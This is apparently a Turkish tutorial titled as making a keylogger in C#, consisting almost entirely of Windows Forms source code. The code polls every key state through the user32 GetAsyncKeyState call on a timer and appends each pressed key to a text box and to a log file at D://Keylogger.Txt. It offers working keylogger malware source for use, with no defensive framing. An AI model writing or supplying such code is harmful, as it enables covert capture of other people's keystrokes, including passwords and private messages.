Keylogger Program Yapımı - Csharp

using System;

using System.Collections.Generic;

using System.ComponentModel;

using System.Data;

using System.Drawing;

using System.Linq;

using System.Text;

using System.Windows.Forms;

using System.Diagnostics;

using System.Runtime.InteropServices;

using System.Threading;

using System.IO;

using System.Windows.Forms.ComponentModel.Com2Interop;

 

namespace WindowsFormsApplication1

{

 public partial class Form1 : Form

 {

 public Form1()

 {

 InitializeComponent();

 }

 public class TusKontrol

 {

 [DllImport("user32",CharSet=CharSet.Ansi)]

 public static extern int GetAsyncKeyState(long vKey);

 public static bool TusaBasildiMi(byte Tus)

 {

 if (TusKontrol.GetAsyncKeyState((long)Tus) == System.Int16.MinValue + 1)

 { return true; }

 else

 { return false; }

 }

 

public static void DosyayaYaz(string dosyayolu, string tus)

 {

 StreamWriter file = new StreamWriter(dosyayolu, true);

 file.Write (tus);

 file.Close();

 }

 }

 public class Keylogger

 {

 [DllImport("user32.dll", CharSet = CharSet.Ansi)]

 public static extern int GetAsyncKeyState(long basiLanTus);

 public static bool BasiLdimi(byte Tus)

 {

 if (Keylogger.GetAsyncKeyState((long)Tus) == System.Int16.MinValue + 1)

 {

 return true;

 }

 else

 {

 return false;

 }

 }

 public static void Dosyayazim(string DosyaAdresi, string Tus)

 {

 StreamWriter file = new StreamWriter(DosyaAdresi, true);

 file.Write(Tus);

 file.Close ();

 }

 }

 

private void Form1_Load(object sender, EventArgs e)

 {

 

 }

 

private void timer1_Tick(object sender, EventArgs e)

 {

 

 for (byte i = 0; i < 255; i++)

 {

 if (Keylogger.BasiLdimi(i))

 {string tuss= Convert.ToChar(i).ToString();

 textBox1.Text += tuss;

 Keylogger.Dosyayazim(@"D://Keylogger.Txt", tuss );

 break;

 }

 

 }

 System.Windows.Forms.Application.DoEvents();

 }

 

}